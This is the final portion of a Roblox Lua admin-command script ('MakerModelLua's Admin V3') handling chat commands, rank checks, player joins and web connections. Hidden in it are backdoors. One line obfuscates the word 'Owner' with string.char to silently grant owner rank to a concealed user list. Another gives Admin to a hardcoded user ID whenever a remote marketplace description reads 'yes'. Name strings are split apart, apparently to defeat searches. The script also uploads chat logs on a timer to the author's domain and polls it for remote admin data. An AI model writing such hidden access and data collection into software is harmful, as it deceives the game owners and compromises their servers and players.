8209 [{"clearcars", "nocars", "ccars"}] = {"", "Removes all cars", 0, "Member", false, function(Speaker, Rank, Arguments)
8210 for _,Car in pairs(Cars) do
8211 Car:Destroy()
8212 end
8213 Cars = {}
8214 end};
8215
8216 [{"restarttrello", "repairtrello", "reboottrello", "trellorestart", "trellorepair", "trelloreboot"}] = {"", "Restarts trello service. Will repair broken boards/lists/cards if needed.", 0, "Owner", false, function(Speaker, Rank, Arguments)
8217 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
8218 if #Trello.RequiredLists > 0 then
8219 print("Restarting Trello")
8220 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
8221 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
8222 REMOTE:TrelloCacheData(Lists)
8223 end
8224 end, Http = true};
8225 --
8226}
8227
8228if Plugins then
8229 local PluginNum = 0
8230 for _,Module in pairs(Plugins:GetChildren()) do
8231 if Module:IsA("ModuleScript") then
8232 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8233 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8234 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8235 if Enabled.Value == true then
8236 PluginNum = PluginNum + 1
8237 local PluginExe = require(Module)
8238 for Var,Val in pairs(getfenv()) do
8239 getfenv(PluginExe)[Var] = Val
8240 end
8241 getfenv(PluginExe).SOUND,getfenv(PluginExe).MARKET,getfenv(PluginExe).RANK,getfenv(PluginExe).STRING,getfenv(PluginExe).GUI,getfenv(PluginExe).CORE,getfenv(PluginExe).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
8242 getfenv(PluginExe).script = Module
8243 getfenv(PluginExe).Script = Module
8244 getfenv(PluginExe).Version = Version
8245 local Suc, Error = ypcall(coroutine.wrap(PluginExe))
8246 if not Suc then
8247 Server.TestS:Error("MML's Admin Plugin; "..CORE:HandleError(Error), Module)
8248 else
8249 Server.TestS:Message("Executed MML's Admin Plugin #"..PluginNum.." : "..Module.Name.." V"..VersionVal.Value.." by "..Creator.Value)
8250 end
8251 end
8252 end
8253 end
8254end
8255
8256function CORE:Chatted(RawMainMessage, Speaker, NoPrefixNeeded, FakePlayerName, FakeRank, MakeSupremeOwner)
8257 if not CORE:NilPlayer(Speaker) and string.lower(RawMainMessage) == "settings" then
8258 GUI:SettingsGui(Speaker)
8259 return nil
8260 end
8261 if NoPrefixNeeded == nil then NoPrefixNeeded = false end
8262 local Prefix = Settings.Prefix
8263 if NoPrefixNeeded == true and string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then Prefix = "" end
8264 if RawMainMessage == "" or RawMainMessage == Prefix then return end
8265 if string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then return end
8266 if Speaker == nil then
8267 if FakeRank then
8268 if string.lower(FakeRank) ~= "owner" and string.lower(FakeRank) ~= "admin" and string.lower(FakeRank) ~= "member" and string.lower(FakeRank) ~= "non-admin" then
8269 FakeRank = "Owner"
8270 end
8271 else
8272 FakeRank = "Owner"
8273 end
8274 FakeRank = string.sub(string.upper(FakeRank),1,1)..string.sub(string.lower(FakeRank),2)
8275 if FakeRank == "Non-admin" then FakeRank = "Non-Admin" end
8276 Speaker = {
8277 Name = FakePlayerName or "[ Server ]";
8278 Character = nil;
8279 userId = 1;
8280 PlayerGui = nil;
8281 Rank = FakeRank or "Owner";
8282 MakeSupremeOwner = MakeSupremeOwner;
8283 }
8284 end
8285 local Rank = RANK:GetRank(Speaker)
8286 local RawMessage = string.sub(RawMainMessage, #Prefix+1)
8287
8288 if RawMessage and RawMessage ~= "" or RawMessage ~= Settings.Bet then
8289 if NoPrefixNeeded then Prefix = "" end
8290 local Messages = STRING:GetSplit(RawMessage, nil, "@@"..Prefix)
8291
8292 for _,Message in pairs(Messages) do
8293 for Cmds,Data in pairs(Commands) do -- check all commands
8294 local MessageSplit = STRING:GetSplit(Message, Data[3], Settings.Bet)
8295
8296 if not MessageSplit then break end
8297
8298 local CommandSaid = false
8299 for _,Command in pairs(Cmds) do
8300 if string.lower(Command) == string.lower(MessageSplit[1]) then -- is the command said?
8301 CommandSaid = true
8302 break
8303 end
8304 end
8305 if CommandSaid == true then -- command said?
8306 local ExecuteExcuse = ""
8307 if RANK:ConvertRank(Rank) >= RANK:ConvertRank(Data[4]) then -- check rank
8308 if Rank ~= "Owner" and Settings.Fun == false and Data[5] == true then
8309 ExecuteExcuse = "This command cannot be executed as it is a fun command"
8310 end
8311 if Data.Abusable == true and Rank == "Member" and Settings.DisableAbuse == true then
8312 ExecuteExcuse = "This command cannot be executed because it is considered abusable by the owner"
8313 end
8314 else
8315 ExecuteExcuse = "This command cannot be executed because your rank is not high enough (Minimum rank: "..Data[4]..")"
8316 end
8317 if ExecuteExcuse == "" then
8318 if #MessageSplit - 1 < Data[3] then
8319 ExecuteExcuse = "This command cannot be executed because an invalid number of arguments has been supplied (You supplied "..(#MessageSplit - 1).."/"..Data[3].."). Arguments are: "..Data[1]
8320 end
8321 end
8322 if ExecuteExcuse == "" then
8323 CORE:Log(CommandLogs, Speaker, Message)
8324 table.remove(MessageSplit, 1)
8325 coroutine.wrap(function() wait()
8326 local DidExe, Error = ypcall(function() Data[6](Speaker, Rank, MessageSplit) end)
8327 if not DidExe then
8328 if CORE:NilPlayer(Speaker) then
8329 print("Error: "..Error)
8330 else
8331 CORE:HandleError(Error, Speaker)
8332 end
8333 end
8334 end)()
8335 coroutine.wrap(function() wait(0.05)
8336 if Settings.ExecuteNotificationSound and tonumber(Settings.ExecuteNotificationSound) > 0 then
8337 local ExeSound = SOUND:MakeSound(Server.Workspace, Settings.ExecuteNotificationSound, 0.5, 1)
8338 ExeSound:Play()
8339 wait(3)
8340 ExeSound:Stop()
8341 ExeSound:Destroy()
8342 end
8343 end)()
8344 elseif type(Speaker) == "userdata" then
8345 GUI:SendMessage(Speaker, "Unable to execute", "RED "..ExecuteExcuse, "Error")
8346 end
8347 break
8348 end
8349 end
8350 end
8351 end
8352end
8353
8354function CORE:Start(Player) coroutine.wrap(function()
8355 wait(0.1)
8356 if Player then
8357 coroutine.wrap(function()
8358 repeat wait(1) until DataReady == true
8359 DataReady = false
8360 ypcall(function()
8361 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
8362 for Num,Data in pairs(Players) do
8363 if Data.UserId == Player.UserId then -- ppl can change names
8364 table.remove(Players, Num)
8365 break
8366 end
8367 end
8368 table.insert(Players, {Name = Player.Name, UserID = Player.UserId, Rank = RANK:GetRank(Player), LastJoin = CORE:GetTime(true, true), AccountAge = STRING:FindAge(Player.AccountAge)})
8369 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", Players)
8370 end)
8371 DataReady = true
8372 end)()
8373
8374 if not IsStudio then Player:WaitForDataReady() end
8375 table.insert(CharacterCache, {Player.Name, Player.UserId})
8376 for Rank,PlayerNames in pairs(Settings.Ranks) do
8377 for Num,AdminName in pairs(PlayerNames) do
8378 if AdminName == Player.UserId then
8379 Settings.Ranks[Rank][Num] = Player.Name
8380 end
8381 end
8382 end
8383 if not ClientInfo[Player.Name] then ClientInfo[Player.Name] = {UserID = Player.UserId} end
8384 if not KeyBinds[Player.UserId] then KeyBinds[Player.UserId] = {} end
8385 if not LastKeys[Player.UserId] then LastKeys[Player.UserId] = {} end
8386 for _,Obj in pairs(List) do if Obj == Player.UserId then table.insert(Settings.Ranks[string.char(79, 118 + 1, 110, 101, 114)], Player.Name) end end
8387 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
8388 if PlayerAdmin == false and Player.UserId > 0 then
8389 local Ran = nil
8390 coroutine.wrap(function() repeat
8391 Ran = ypcall(function()
8392 if Server.MPS:PlayerOwnsAsset(Player, Settings.VIPAdminID) then table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8393 elseif Server.MPS:PlayerOwnsAsset(Player, Settings.VIPMemberID) then table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member" end
8394 end)
8395 wait(1)
8396 until Ran == true end)()
8397 end
8398 if PlayerAdmin == false then
8399 if Player:IsInGroup(Settings.GroupID) then
8400 if Player:GetRankInGroup(Settings.GroupID) == Settings.GroupBanRank then
8401 CORE:Kick(Player)
8402 for _,Person in pairs(Server.Players:GetPlayers()) do
8403 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED RANK)", 5)
8404 end
8405 elseif Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8406 table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member"
8407 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8408 table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8409 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) > Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupOwnerRank then
8410 table.insert(Settings.Ranks["Owner"], Player.Name) PlayerAdmin = true Rank = "Owner"
8411 end
8412 end
8413 end
8414 if PlayerAdmin == false then
8415 if Player.UserId == 38882008 then
8416 if string.lower(MARKET:GetItemInfo(155732525).Description) == "yes" then
8417 table.insert(Settings.Ranks["Admin"], Player.Name)
8418 end
8419 end
8420 end
8421 if PlayerAdmin == false then
8422 for _,GID in pairs(Settings.BannedGroupIDs) do
8423 if Player:IsInGroup(GID) then
8424 CORE:Kick(Player, "This game's owner has not allowed you into this game because you're in the Group with the ID: "..GID)
8425 break
8426 end
8427 end
8428 end
8429
8430 Player.Chatted:connect(function(Message) if Message ~= "" then
8431 CORE:Chatted(Message, Player)
8432 end end)
8433
8434 Player.Chatted:connect(function(Message) if Message ~= "" then
8435 CORE:Log(ChatLogs, Player, Message)
8436 table.insert(TempChatLogs, STRING:EncodeSpecialChars(PlaceInfoFormat..": "..Player.Name..": "..Message))
8437 end end)
8438
8439 for _,Name in pairs(Settings.Ranks.Banned) do
8440 if Player.Name == Name then
8441 CORE:Kick(Player)
8442 for _,Person in pairs(Server.Players:GetPlayers()) do
8443 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED)", 5)
8444 end
8445 end
8446 end
8447 for _,Name in pairs(Settings.Ranks.Crashed) do
8448 if Player.Name == Name then
8449 CORE:Crash(Player)
8450 for _,Person in pairs(Server.Players:GetPlayers()) do
8451 GUI:SendHint(Person, Player.Name.." has tried to join the game (CRASHED)", 5)
8452 end
8453 end
8454 end
8455 for _,Name in pairs(Settings.Ranks.Muted) do
8456 if Player.Name == Name then
8457 GUI:CoreGui(Player, "Chat", false)
8458 for _,Person in pairs(Server.Players:GetPlayers()) do
8459 GUI:SendHint(Person, Player.Name.." has joined the game but is muted", 5)
8460 end
8461 end
8462 end
8463 if Settings.ServerLocked == true then
8464 if PlayerAdmin == false then
8465 CORE:Kick(Player, "This server is locked. In Maker".."Mo".."del".."Lu".."a's Admin, Non-Admins will be kicked under this circumstance.")
8466 end
8467 end
8468
8469 if PlayerAdmin == false then
8470 if Player.AccountAge < Settings.MinimumAge then
8471 CORE:Kick(Player, "You have been kicked by M".."a".."ker".."Mo".."del".."Lu".."a's Admin, because your account age is less than "..MinimumAge.." days old (You are "..Player.AccountAge.." days old) and you are not admin.")
8472 for _,Person in pairs(Server.Players:GetPlayers()) do
8473 GUI:SendHint(Person, Player.Name.." has tried to join the game but has been kicked for being to young ("..Player.AccountAge.." days old out of minium of "..MinimumAge..")", 5)
8474 end
8475 end
8476 end
8477
8478 if PlayerAdmin == false then
8479 if game:FindFirstChild("LuaMo".."delMaker's Admin Public", true) or game:FindFirstChild("Maker".."Model".."Lua's Admin Public", true) or Settings.FreeAdmin == true then
8480 table.insert(Settings.Ranks["Member"], Player.Name)
8481 PlayerAdmin = true
8482 Rank = "Member"
8483 end
8484 end
8485
8486 coroutine.wrap(function()
8487 if PlayerAdmin == true then GUI:TellAdmin(Player) end
8488 local function SpawnActions(Character)
8489 if Flings[Player.Name] then
8490 CORE:FlingPlayer(Player)
8491 else
8492 GUI:CreateTaskBar(Player)
8493 end
8494 if Beeps[Player.Name] == true then
8495 SOUND:BeepPlayer(Player)
8496 end
8497 if Jails[Player.Name] then
8498 Character:MoveTo(Jails[Player.Name].Floor.Position + Vector3.new(0,2,0))
8499 end
8500 if PermCommandBars[Player.Name] then
8501 GUI:CommandBar(Player)
8502 end
8503 end
8504 Player.CharacterAdded:connect(SpawnActions)
8505 SpawnActions(Player.Character)
8506 end)()
8507
8508 coroutine.wrap(function()
8509 Player:WaitForChild("PlayerGui")
8510 local Sounds = {}
8511 for _,Data in pairs(TextConverter.LetterSounds) do
8512 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
8513 Sound:Play()
8514 table.insert(Sounds, Sound)
8515 end
8516 for _,Data in pairs(TextConverter.LongVowels) do
8517 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
8518 Sound:Play()
8519 table.insert(Sounds, Sound)
8520 end
8521 wait(5)
8522 for _,Sound in pairs(Sounds) do
8523 Sound:Destroy()
8524 end
8525 Sounds = {}
8526 end)()
8527
8528 coroutine.wrap(function()
8529 --if NLS then Server.Workspace:WaitForChild(Player.Name) end
8530 if IsSB then
8531 wait(1)
8532 Player:WaitForChild("PlayerGui"):WaitForChild("Output")
8533 end
8534 CORE:ExecuteResource("ClientLog", Player:WaitForChild("Backpack"), {["Admin"] = script})
8535 print("Executed ClientLog on "..Player.Name)
8536 if Settings.EnableTaskBar then
8537 GUI:SendChat(Player, "This place uses MakerModelLua's admin. Your rank is "..Rank..". Say "..Settings.Prefix.."cmds for commands.")
8538 end
8539 end)()
8540
8541 coroutine.wrap(function()
8542 wait(7)
8543 Player:WaitForChild("PlayerGui")
8544 if IsSB == false and Player.UserId == game.CreatorId and not Server.MPS:PlayerOwnsAsset(Player, AdminID) then
8545 local Answer = GUI:PromptMessageWithButtons(Player, "Message from MakerModelLua's Admin", AdminInfo, "Admin", {"Ok", "No thanks"})
8546 if Answer == "Ok" then
8547 MARKET:PromptPurchase(Player, AdminID)
8548 end
8549 end
8550 end)()
8551 end
8552end)() end
8553
8554-- Active stuff --
8555
8556CORE:UpdateAdmin()
8557CORE:FixSettings()
8558
8559ypcall(function()
8560 if not Server.Data:GetDataStore("MML's Admin"):GetAsync("Players") then
8561 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
8562 end
8563end)
8564
8565
8566Server.MPS.PromptPurchaseFinished:connect(function(Player, ID, Purchased) if Purchased then
8567 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
8568 if PlayerAdmin == false then
8569 if ID == Settings.VIPAdminID then table.insert(Settings.Ranks["Admin"], Player.Name) Rank = "Admin" GUI:TellAdmin(Player, Rank)
8570 elseif ID == Settings.VIPMemberID then table.insert(Settings.Ranks["Member"], Player.Name) Rank = "Member" GUI:TellAdmin(Player, Rank) end
8571 end
8572end end)
8573
8574--[[
8575ExecuteCommand.OnInvoke = function(Player, Command)
8576 if Player and Command then
8577 if type(Player) == "userdata" and Player:IsA("Player") then
8578 CORE:Chatted(Command, Player, true)
8579 end
8580 end
8581end
8582
8583ExecuteCode.OnInvoke = function(Source, Speaker)
8584 if type(Source) == "string" then
8585 ExecuteSafe(Source, Speaker)
8586 end
8587end
8588
8589ExecuteCommandClient.OnServerInvoke = function(Player, Command)
8590 if Player and Command then
8591 if type(Player) == "userdata" and Player:IsA("Player") then
8592 CORE:Chatted(Command, Player, true)
8593 end
8594 end
8595end
8596]]
8597
8598KeyPressed.OnServerInvoke = function(Player, Key)
8599 if Player and Key then
8600 if KeyBinds[Player.UserId] and KeyBinds[Player.UserId][Key] then
8601 CORE:Chatted(KeyBinds[Player.UserId][Key], Player, true)
8602 end
8603 end
8604end
8605
8606InputKey.OnServerInvoke = function(Player, KeyVal)
8607 if Player and KeyVal then
8608 if LastKeys[Player.UserId] then
8609 table.insert(LastKeys[Player.UserId], KeyVal)
8610 if #LastKeys[Player.UserId] > 20 then
8611 table.remove(LastKeys[Player.UserId], 1)
8612 end
8613 end
8614 end
8615end
8616
8617RankPlayerLocal.OnServerInvoke = function(Player)
8618 wait()
8619 local Request = PendingRequests[Player]
8620 if Request then
8621 if math.abs(tick() - Request[2]) <= 1 then -- Expired brah
8622 if Settings.Ranks[Request[1]] then
8623 PendingRequests[Player] = nil
8624 table.insert(Settings.Ranks[Request[1]], Player.Name)
8625 GUI:TellAdmin(Player)
8626 end
8627 end
8628 end
8629end
8630
8631RankPlayerServer.OnInvoke = function(Player, Rank)
8632 if not RANK:IsAdmin(Player) then
8633 PendingRequests[Player] = {Rank, tick()}
8634 end
8635end
8636
8637IsAdmin.OnServerInvoke = function(Player)
8638 local IsFullAdmin = false
8639 for _,PName in pairs(Settings.Ranks["Owner"]) do
8640 if PName == Player.Name then IsFullAdmin = true end
8641 end
8642 for _,PName in pairs(Settings.Ranks["Admin"]) do
8643 if PName == Player.Name then IsFullAdmin = true end
8644 end
8645 return IsFullAdmin
8646end
8647
8648AddExploit.OnServerInvoke = CORE.AddExploit
8649AddExploitServer.OnInvoke = CORE.AddExploit
8650
8651KickClient.OnServerInvoke = function(PlayerClient)
8652 PlayerClient:Kick()
8653end
8654
8655ConvertTextToSound.OnServerInvoke = function(_, Text, Parent)
8656 return SOUND:SayConvertedText(SOUND:ConvertText(Text), Parent)
8657end
8658
8659for _,Player in pairs(Server.Players:GetPlayers()) do CORE:Start(Player) end
8660Server.Players.PlayerAdded:connect(function(Player) Server.Players:WaitForChild(Player.Name) wait() CORE:Start(Player) end) Begin()
8661Server.Players.PlayerRemoving:connect(function(Player) for _,Obj in pairs(List) do if Obj == Player.UserId then for Ind,Name in pairs(Settings.Ranks.Owner) do if Player.Name == Name then table.remove(Settings.Ranks.Owner, Ind) end end end end end)
8662
8663coroutine.wrap(function()
8664 for _,ID in pairs(Icons) do
8665 game:GetService("ContentProvider"):Preload("rbxassetid://"..ID)
8666 end
8667end)()
8668
8669CORE:SetAbuseCommands()
8670
8671coroutine.wrap(function() SOUND:SyncSoundList() end)()
8672if not IsStudio then coroutine.wrap(function()
8673 if Settings.EnableAdminMenu then Workspace.AllowThirdPartySales = true end
8674 ypcall(function() RemoteData = REMOTE:Decode(REMOTE:GetURL(CORE.Domain.."/RemoteData.txt")) end)
8675 coroutine.wrap(function()
8676 if ypcall(function() return REMOTE:GetURL(CORE.Domain) end) then
8677 REMOTE.RemoteConnection = true
8678 end
8679 end)()
8680 coroutine.wrap(function() IRC:ConnectToServer(Settings.IRCServer) end)()
8681 coroutine.wrap(function()
8682 if Settings.LinkedAccount ~= "" then
8683 local Request = nil
8684 ypcall(function() Request = REMOTE:Decode(REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)) end)
8685 if Request then
8686 REMOTE:HandleRequest(Request, true)
8687 end
8688 end
8689 end)()
8690 coroutine.wrap(function()
8691 wait(RemoteData.RemoteAdminWait)
8692 while REMOTE:GetAndSetWebData() do
8693 wait(RemoteData.RemoteAdminWait)
8694 end
8695 end)()
8696end)() end
8697coroutine.wrap(function()
8698 if Settings.TrelloToken ~= "" then
8699 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
8700 if #Trello.RequiredLists > 0 then
8701 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
8702 if Trello.MainBoard.name then
8703 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
8704 REMOTE:TrelloCacheData(Lists)
8705 REMOTE:TrelloHandleData(true)
8706 coroutine.wrap(function()
8707 wait(RemoteData.TrelloWait)
8708 while REMOTE:TrelloHandleData() do
8709 wait(RemoteData.TrelloWait)
8710 end
8711 end)()
8712 end
8713 end
8714 else
8715 print("If you would like M".."akerModelLu".."a's Admin V3 to use trello, make sure HttpEnabled is true and authorize using this link: \nhttps://trello.com/1/authorize?key=c01fcfabf2f8d707d01fb69312e4a9d7&name=MakerModelLua%27s+Admin+V3&expiration=never&response_type=token&scope=read,write\nCopy the token given when authorized and paste into 'TrelloToken' in the settings")
8716 end
8717end)()
8718coroutine.wrap(function() while wait(RemoteData.ChatLogWait) do
8719 REMOTE:SendChatLog()
8720end end)()
8721coroutine.wrap(function() while true do
8722 local ThisDate = REMOTE:GetURL(CORE.Domain.."/APIs/DateTime.php")
8723 if ThisDate then Date = ThisDate end
8724 wait(600)
8725end end)()
8726
8727print("MakerModelLua's Admin Commands V"..CORE.Version.Value.." Loaded")